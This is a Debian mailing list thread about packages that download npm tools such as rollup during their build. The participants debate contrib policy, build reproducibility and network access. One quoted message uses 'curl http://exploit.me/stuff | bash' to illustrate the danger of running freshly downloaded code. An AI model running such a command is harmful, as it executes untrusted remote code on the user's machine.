[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Marco d'Itri]

On Oct 03, Gunnar Wolf  wrote:

> So, contrib is _explicitly_ meant for software that does not meet the
> DFSG, not for random stuff that cannot be packaged for convenience or
> different issues.
I am almost sure that when I joined the project contrib was also the 
place for sub-standard packages.
While my memory could be faulty in some way since that was 20 years ago, 
I know that my first package was first uploaded to contrib because of 
technical reasons.

-- 
ciao,
Marco


signature.asc
Description: PGP signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Philip Hands]

Sean Whitton  writes:

> Hello Jérémy,
>
> On Tue, Oct 03 2017, Jérémy Lal wrote:
>
>> It might be a good idea to make policy more explicit about downloads
>> during build.
>
> I'm not sure how it could be more explicit:
>
> For packages in the main archive, no required targets may attempt
> network access.

The problem seems to be that Praveen reads that prohibition as implying
that it is totally OK to do this when not in main.

This strikes me as equivalent to reading:

  All men are mortal, 
  Socrates is a man,

and concluding that women are immortal.

The correct way to read this bit of policy is that network access during
build is considered such a bad idea that it is not allowed under any
circumstances in Debian proper (main).

That being the case, it is a safe bet to assume that it's a bad idea in
packages in contrib and non-free too.

If one wants to vary from that, the reason should be made very clear
indeed.

I don't believe that Praveen has provided any real justification for
needing network access, beyond his opinion that policy allows it.

I suspect that in the particular case of using rollup, it is even worse
than Simon McVittie eloquently describes in his mail to this thread.

A quick read of rollup's changelog shows that they have had about 30
releases since July, that they've recently had a major refactoring, and
that every release since that refactoring has involved fixing that
refactoring.

They had a release within a day of Praveen's changelog entry for the
package, so it's not completely obvious which version of rollup would
have been used for the package build, but chances are that he used one
version, and that within 24 hours nobody, not even Praveen, would be
certain of being able to reproduce that package because it would then be
using a new version of rollup to do all the work.

They've had another release since -- more fixups for the refactoring.

I'm astonished that Praveen thinks it is sensible to build on these
shifting sands.  My astonishment is then only magnified at every step:

  o  When it is pointed out, still not realising the folly of this.
  o  Running to policy, looking for excuses.
  o  Blaming ftp masters for not noticing these flaws.
  o  Insisting that the TC needs to be involved to fix the mess

Should we really try to make policy forbid all the foolish ways in which
one might try to assemble a package, in order to ensure that there is
nowhere for people to hide in policy?  I think not.

It would seem much more straightforward to remove the upload rights from
people who insist on repeating this sort of behaviour incessantly.

Praveen, please don't do it again.

Cheers, Phil.
-- 
|)|  Philip Hands  [+44 (0)20 8530 9560]  HANDS.COM Ltd.
|-|  http://www.hands.com/http://ftp.uk.debian.org/
|(|  Hugo-Klemm-Strasse 34,   21075 Hamburg,GERMANY


signature.asc
Description: PGP signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Ian Jackson]

Pirate Praveen writes ("Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: 
B-D npm not available in testing"):
> Lets take the two issues separately.
> 
> 1. Whether they are suitable for contrib

I don't think that this is what contrib is for.  Contrib exists as
part of our commitment (documented in the Social Contract) to help
users who for one reason or another end up using non-free software or
documentation.

So contrib is for things where there are licensing reasons, why not
all of the dependencies (whether declared formally in the packaging or
not) can be built from source in main.

The most usual cases are (i) something involved has a
noncommercial-use-only licence, or (ii) the thing is a
nonredistributable and what is provided is a package for downloading
it at install-time.


It is true that there are a few other cases which don't fit into the
DFSG category, but they are truly exceptional:

For example, I'm sure we have some packages there containing firmware
whose source code is available, and where in principle Free Software
compilers are available, but where the firmware's cpu architecture is
not a Debian release architecture and not supported even as a build
option by the compilers we are shipping (or perhaps the versions we
are shipping would not work because they are far too new).

That seems superficially similar, but there are some important
differences.

It is one thing to have a few firmware binaries in contrib, when
fixing each individual firmware binary would involve packaging a whole
crossbuilding toolchain.  It is very questionable whether it would be
a desirable tradeoff for Debian to maintain, as first-class packages,
a cross toolchain whose only real function is to build some obscure
firmware (and which is hard to use for other purposes).

But in the case of the Javascript ecosystem, it is clearly desirable
that the popular toolchains from the Javascript world should be
available in Debian.  Each such Javascript tool enables many dependent
packages, and they also have uses by thdmselves.

And there is a big difference in scale.  In the case of the Javascript
tools we are not talking about a handful of obscure exceptions.

And of course the exceptional firmware files I am talking about do
not run on the user's main cpu (by definition).  They run in separate
hardware devices, usually with a much stronger security boundary
between them and the user's primary environment.

Often these firmwares are even provided simply as a convenience and
are not even always necessary for the program's operation.

Finally, the firmware files I am talking about are rarely modified
and rebuilt by anyone.  Mostly they are handed down as heirlooms.
That's quite unlike the situation with these Javascript packages
and their compilers/transpilers/whatever.


Overall, it seems to me that you are using contrib as a way to get
around what is ultimately simply an engineering or quality problem.

The problem with these packages is not that they have licensing
problems; nor is it that there are other serious fundamental reasons
why distributing their source code, and rebuilding them, is hard.

It's just that the packaging is a lot of work.  But skipping on
packaging the build dependencies properly produces packages which
don't meet Debian's minimum quality standards.


So at the very least, I think these problems are RC bugs.

One approach would be to have uploaded the packages to experimental
instead of unstable.  I think it's OK to have junk of all sorts of
kinds in experimental.

That does assume, of course, that your plan is for this to be a
temporary situation, and you just want to have somewhere to
share your work while you collaborate in improving this whole area.

If you intend for this situation to persist in the medium term - for
example, if you wanted it to be released alongside buster - then of
course that wouldn't work.  But for the reasons I have explained I
don't think that's acceptable.


I'm sorry to be so negative.  I appreciate that dealing with all of
this stuff is very hard work and I applaud your determination.  But in
this case the resistance you are encountering is justified.

Regards,
Ian.

-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Pirate Praveen]

On ബുധന്‍ 04 ഒക്ടോബര്‍ 2017 02:07 വൈകു, Philip Hands wrote:
> The problem seems to be that Praveen reads that prohibition as implying
> that it is totally OK to do this when not in main.
> 
> This strikes me as equivalent to reading:
> 
>   All men are mortal, 
>   Socrates is a man,
> 
> and concluding that women are immortal.

You are conflating two issues here.

1. Whether packages can be uploaded to contrib temporarily when their
build depends are not in main.
2. Using network during build.

> The correct way to read this bit of policy is that network access during
> build is considered such a bad idea that it is not allowed under any
> circumstances in Debian proper (main).
> 
> That being the case, it is a safe bet to assume that it's a bad idea in
> packages in contrib and non-free too.
> 
> If one wants to vary from that, the reason should be made very clear
> indeed.
> 
> I don't believe that Praveen has provided any real justification for
> needing network access, beyond his opinion that policy allows it.

I did not say I will continue to use network access using build, I
already agreed I will use pre-built binaries instead even though I was
not convinced.

> I suspect that in the particular case of using rollup, it is even worse
> than Simon McVittie eloquently describes in his mail to this thread.
> 
> A quick read of rollup's changelog shows that they have had about 30
> releases since July, that they've recently had a major refactoring, and
> that every release since that refactoring has involved fixing that
> refactoring.
> 
> They had a release within a day of Praveen's changelog entry for the
> package, so it's not completely obvious which version of rollup would
> have been used for the package build, but chances are that he used one
> version, and that within 24 hours nobody, not even Praveen, would be
> certain of being able to reproduce that package because it would then be
> using a new version of rollup to do all the work.
> 
> They've had another release since -- more fixups for the refactoring.
> 
> I'm astonished that Praveen thinks it is sensible to build on these
> shifting sands.  My astonishment is then only magnified at every step:
> 
>   o  When it is pointed out, still not realising the folly of this.

Because the shown folly is only in theory and it is never in practice.
As these packages are always uploaded as binary included and never built
on the buildd (as buildds already prohibit network access during build).
If I include pre-built files, nothing changes in practice and only in
perception, hence I'm not convinced.

>   o  Running to policy, looking for excuses.

Indeed, that is the authoritative source when there is a difference of
opinion.

>   o  Blaming ftp masters for not noticing these flaws.

Indeed they are the people who are supposed to ensure this requirement
of policy.

>   o  Insisting that the TC needs to be involved to fix the mess

Isn't that how differences to be settled when developers can't reach a
conclusion?

> Should we really try to make policy forbid all the foolish ways in which
> one might try to assemble a package, in order to ensure that there is
> nowhere for people to hide in policy?  I think not.
> 
> It would seem much more straightforward to remove the upload rights from
> people who insist on repeating this sort of behaviour incessantly.
> 
> Praveen, please don't do it again.

I think you are showing wrong attitude and acting as if you have more
authority over me/others. You are wrongly pushing an opinion that was
not mine. What I asked was the suitability of being in contrib and not
for using network during build.



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Ross Gammon]

On 10/04/2017 05:50 AM, Sean Whitton wrote:
> Hello Jérémy,
>
> On Tue, Oct 03 2017, Jérémy Lal wrote:
>
>> It might be a good idea to make policy more explicit about downloads
>> during build.
> I'm not sure how it could be more explicit:
>
> For packages in the main archive, no required targets may attempt
> network access.
>
>

Some people could read "in the main archive" as not applying to contrib
& non-free?
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Sean Whitton]

Hello Pirate,

On Tue, Oct 03 2017, Pirate Praveen wrote:

> Alternatively, those who care enough about the issue can help get
> these tools into main. I have been doing just that over the last years
> (grunt, gulp, babel, jison, webpack to name a few, each with 100s of
> dependencies) so many of the packages currently in main could go
> there.  Since the tools are just so many and the people packaging them
> are handful, it will take quite a while for all these tools to be in
> main and I'm going to continue using contrib for these packages until
> that time.
>
> You can also check the record of people who are most vocal over the
> issue (not just in this thread, but in earlier discussions about
> handlebars/dfsg/browserify) and compare who is helping fix the issue
> and who is just talking.

This is not a fair response.

If your work involved fixing bugs in software that is already in the
archive, you could quite fairly call others out for demanding changes,
but not being willing to put in the effort.

In this case, others are objecting to you /adding/ something new to the
archive, where this requires (what is in the view of some) a misuse of
contrib.

You're right to point out that the decision as to whether it was a
misuse was the ftp-master's.

-- 
Sean Whitton


signature.asc
Description: PGP signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Sean Whitton]

Hello Jérémy,

On Tue, Oct 03 2017, Jérémy Lal wrote:

> It might be a good idea to make policy more explicit about downloads
> during build.

I'm not sure how it could be more explicit:

For packages in the main archive, no required targets may attempt
network access.

-- 
Sean Whitton


signature.asc
Description: PGP signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Gunnar Wolf]

Jérémy Lal dijo [Tue, Oct 03, 2017 at 07:46:43PM +0200]:
> It might be a good idea to make policy more explicit about downloads during
> build.

I completely agree. This led me to look at #813471 ("network access to
the loopback device should be allowed"), and... Well, it seems to set
the stage to the issue we are tackling now: #813471 is opened as a
reaction against #770016 ("Clarify network access for building
packages in main").

I fully agree with Guillem's suggestions, although Pabs has a point in
cuffing the build process more strongly.

But anyway, #770016 worries me as it seems to deal with main only;
however, the precise issue we are discussing was mentioned then as
well by Henrique:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770016#48
  And it is is not just for main, I don't think contrib is supposed to
  hit the network during *build*, either.

Bill explicitly mentioned he was not targeting contrib on this bug's
proposed (and accepted) changes:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770016#58
  I have no idea abut contrib.



signature.asc
Description: PGP signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Jérémy Lal]

2017-10-03 19:34 GMT+02:00 Gunnar Wolf :

> Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]:
> > > I am completely with Sean here; I read the following messages, and am
> > > happy a better resolution was found. But, FWIW, I'll support Sean's
> > > interpretation - Contrib and non-free are *not* places where we can
> > > happily breach any bits of policy; they are exclusively for things
> > > that cannot be shipped in Debian Main due to their DFSG status.
> >
> > I cannot accept arbitrary interpretations of policy. When build tools
> > are not available in main, they cannot go to main, and if the software
> > itself is Free Software, it can go to contrib. If you disagree, please
> > get the policy clarified. As per the current policy, these packages
> > clearly qualified for contrib and these were already accepted by ftp
> > masters into the archive. You could go to CTTE and challenge the
> > decision of ftp masters.
>
> Let me quote the Debian Social Contract:
>
> Works that do not meet our free software standards
>
> We acknowledge that some of our users require the use of works that do
> not conform to the Debian Free Software Guidelines. We have created
> "contrib" and "non-free" areas in our archive for these
> works. (...)
>
> So, contrib is _explicitly_ meant for software that does not meet the
> DFSG, not for random stuff that cannot be packaged for convenience or
> different issues.
>
> According to Policy, section 2:
>
> Packages in the other archive areas (contrib, non-free) are not
> considered to be part of the Debian distribution, although we
> support their use and provide infrastructure for them (such as our
> bug-tracking system and mailing lists). This Debian Policy Manual
> applies to these packages as well.
>
> Policy says that all packages in contrib and non-free should be policy
> compliant. Further, in 2.2.2:
>
> The contrib archive area contains supplemental packages intended
> to work with the Debian distribution, but which require software
> outside of the distribution to either build or function.
>
> Every package in contrib must comply with the DFSG.
>
> In addition, the packages in contrib
>
>   • must not be so buggy that we refuse to support them, and
>   • must meet all policy requirements presented in this manual.
>
> For this section, yes, I will be making interpretation - But I hold
> that we would be hard-pressed to provide support for something built
> with a compiler downloaded at build time. Maybe, as Simon suggests, if
> your debian/ includes hashes for the compiler version being
> used (and everything it pulls in via npm)... But in that case, it's
> probably better to include the tar.gz as part of your debian/
>
> I *do* take note, however, of:
>
> Examples of packages which would be included in contrib are:
>
> • free packages which require contrib, non-free packages or packages
>   which are not in our archive at all for compilation or execution,
>   and
> • wrapper packages or other sorts of free accessories for
>   non-free programs.
>
> The first point would seem to cover your use case. However, it's not
> necessarily covering (...) compilation or execution via code just
> downloaded. It does not cover the equivalent of
> "curl http://exploit.me/stuff | bash"
>
> > Alternatively, those who care enough about the issue can help get these
> > tools into main. I have been doing just that over the last years (grunt,
> > gulp, babel, jison, webpack to name a few, each with 100s of
> > dependencies) so many of the packages currently in main could go there.
> > Since the tools are just so many and the people packaging them are
> > handful, it will take quite a while for all these tools to be in main
> > and I'm going to continue using contrib for these packages until that
> time.
> >
> > You can also check the record of people who are most vocal over the
> > issue (not just in this thread, but in earlier discussions about
> > handlebars/dfsg/browserify) and compare who is helping fix the issue and
> > who is just talking.
>
> In this case, I'm clearly in the group of those who are somewhat
> vocal, and are not helping your efforts. Well, I did quite a bit of
> effort in a related matter with the work I put into packaging Drupal8,
> which I dropped in the end¹ precisely due to it not being cleanly
> packagable for Debian.
>
> ¹ http://gwolf.org/node/4087
>
> > > And, yes, network access during a build... Is a clear no-go. Specially
> > > if as a project we are committed to this so neat Reproducible Builds
> > > thingy that has made so many among us proud to be part a project where
> > > an ages-long problem is finally being tackled - And quite
> > > successfully, even!
> >
> > I thought building these things (making sure the source corresponds to
> > the distributed binaries), though using tools outside archive, was
> > preferred over shipping 

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Sean Whitton]

Hello,

On Sat, Sep 30 2017, Christian Seiler wrote:

> Ack. Wouldn't it be preferable to just include a copy of the prebuilt
> node-d3-color "binary" alongside its actual source tarball and have
> debian/rules just copy the prebuilt "binary" for now? That would
> fulfill one of the widely accepted use cases for contrib (needs
> something currently not in Debian to build, but is otherwise free
> software - see e.g. the VirtualBox BIOS requiring a non-free compiler)
> much closer than downloading stuff from the network.

This does seem preferable to the current situation.

-- 
Sean Whitton


signature.asc
Description: PGP signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Sean Whitton]

Hello Pirate,

On Sun, Oct 01 2017, Pirate Praveen wrote:

> On 09/30/2017 09:26 PM, Sean Whitton wrote:
>> To my mind, this complies with the letter of Policy but not its
>> spirit.
>
> The whole purpose of having contrib and non-free is to host packages
> that can't be in main, either permanently or temporarily. I fail to
> see how it is against the spirit.

To my mind, at least, the purpose of contrib and non-free is for
packages that can't be in main for DFSG reasons /alone/.  Social
Contract item 5:

We acknowledge that some of our users require the use of works that
do not conform to the Debian Free Software Guidelines.  We have
created "contrib" and "non-free" areas in our archive for these
works.

> This is in dependency chain of gitlab
> https://wiki.debian.org/Javascript/Nodejs/Tasks/gitlab
>
> Packaging of rollup is stuck [1] and I can make progress with gitlab
> package with node-d3-color in contrib. Quite a lot of work can happen
> even with gitlab in contrib, like making sure everything is configured
> correctly, making sure update from previous version is working, people
> can test and report bugs while we are working on getting all
> dependencies in main etc. If I simply wait for rollup to arrive in
> main, I can't do any of those.

Okay, I see how this would be useful -- thanks for the explanation.

I am still very uneasy about serving our users -- even our users of
Debian unstable -- with packages that are built using material pulled
from the net.  I think that people who add 'contrib' to their
sources.list do not expect this kind of thing.

-- 
Sean Whitton


signature.asc
Description: PGP signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Pirate Praveen]

On 09/30/2017 01:30 PM, Andreas Beckmann wrote:
> Unstable is not outside the archive.

But that dos not seem logical. Does it mean these packages can stay in
testing if we remove npm from unstable?





signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Pirate Praveen]

On വെള്ളി 29 സെപ്റ്റംബര്‍ 2017 10:54 വൈകു, Andreas Beckmann wrote:
> Hi,
> 
> with npm not available in testing (and according to #857986 this will
> not change in the near future), these node-* packages must be kept
> out of testing, since they cannot be rebuilt in testing (regardless of
> any external resources they might need additionally).

I don't think this interpretation of policy is correct. Packages in
contrib can require packages outside archive for building or during
execution.



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: Bug#877212: node-d3-color: B-D npm not available in testing

[Jérémy Lal]

2017-09-29 19:24 GMT+02:00 Andreas Beckmann :

> Package: node-d3-color
> Version: 1.0.3-1
> Severity: serious
> Justification: Build-Depends not satisfiable in testing
> Control: block -1 with 857986
> Control: clone -1 -2 -3 -4 -5 -6 -7 -8 -9 -10
> Control: reassign -2 node-d3-format 1.2.0-1
> Control: retitle -2 node-d3-format: B-D npm not available in testing
> Control: block -2 with 857986
> Control: reassign -3 node-d3-queue 3.0.7-1
> Control: retitle -3 node-d3-queue: B-D npm not available in testing
> Control: block -3 with 857986
> Control: reassign -4 node-d3-selection 1.1.0-1
> Control: retitle -4 node-d3-selection: B-D npm not available in testing
> Control: block -4 with 857986
> Control: reassign -5 d3-timer 1.0.7-1
> Control: retitle -5 d3-timer: B-D npm not available in testing
> Control: block -5 with 857986
> Control: reassign -6  node-filesize 3.5.10+dfsg-1
> Control: retitle -6 node-filesize: B-D npm not available in testing
> Control: block -6 with 857986
> Control: reassign -7 node-gulp-babel 7.0.0-1
> Control: retitle -7 node-gulp-babel: B-D npm not available in testing
> Control: block -7 with 857986
> Control: reassign -8 node-babel-plugin-transform-define 1.3.0-1
> Control: retitle -8 node-babel-plugin-transform-define: B-D npm not
> available in testing
> Control: block -8 with 857986
> Control: reassign -9 node-babel 6.25.0+dfsg-8
> Control: retitle -9 node-babel: B-D npm not available in testing
> Control: block -9 with 857986
> Control: reassign -10 node-babylon 6.18.0-1
> Control: retitle -10 node-babylon: B-D npm not available in testing
> Control: block -10 with 857986
>
>
> Hi,
>
> with npm not available in testing (and according to #857986 this will
> not change in the near future), these node-* packages must be kept
> out of testing, since they cannot be rebuilt in testing (regardless of
> any external resources they might need additionally).
>

Build-Depending on npm is a sign something very wrong, policy-breaking,
is happening, like downloading a npm module during build.

An example of how wrong the problem is:
```
override_dh_auto_build:
  npm install rollup
```

ouch

I cc-ed everyone to make sure this doesn't happen again.

Jérémy
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel